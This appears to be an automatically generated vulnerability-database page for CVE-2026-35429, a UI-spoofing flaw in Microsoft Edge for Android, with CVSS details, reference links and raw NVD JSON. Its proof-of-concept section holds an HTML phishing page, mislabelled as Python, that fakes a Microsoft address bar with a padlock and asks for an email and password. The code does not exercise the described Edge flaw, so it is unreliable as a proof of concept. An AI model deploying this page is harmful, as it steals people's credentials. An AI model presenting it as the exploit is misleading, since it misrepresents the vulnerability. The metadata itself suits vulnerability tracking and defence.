CVE-2026-35429

Description

User interface (ui) misrepresentation of critical information in Microsoft Edge for Android allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Edge for Android (具体受影响版本请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: UI Spoofing Simulation -->
<!DOCTYPE html>
<html>
<head>
<style>
  /* Styles to mimic browser address bar */
  .fake-bar {
    position: fixed; top: 0; left: 0; width: 100%; height: 40px;
    background: #333; color: white; display: flex; align-items: center; padding: 0 10px;
    font-family: sans-serif; z-index: 9999;
  }
  .content { margin-top: 50px; padding: 20px; }
</style>
</head>
<body>
  <!-- Fake Address Bar -->
  <div class="fake-bar">
    <span>🔒 https://www.microsoft.com</span>
  </div>
  <!-- Malicious Content -->
  <div class="content">
    <h2>Security Alert</h2>
    <p>Please verify your credentials.</p>
    <input type="text" placeholder="Email" /><br><br>
    <input type="password" placeholder="Password" />
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35429
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35429
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35429/
[4] VulDB https://vuldb.com/cve/CVE-2026-35429
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35429", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:13.510", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "User interface (ui) misrepresentation of critical information in Microsoft Edge for Android allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429", "source": "[email protected]"}]}}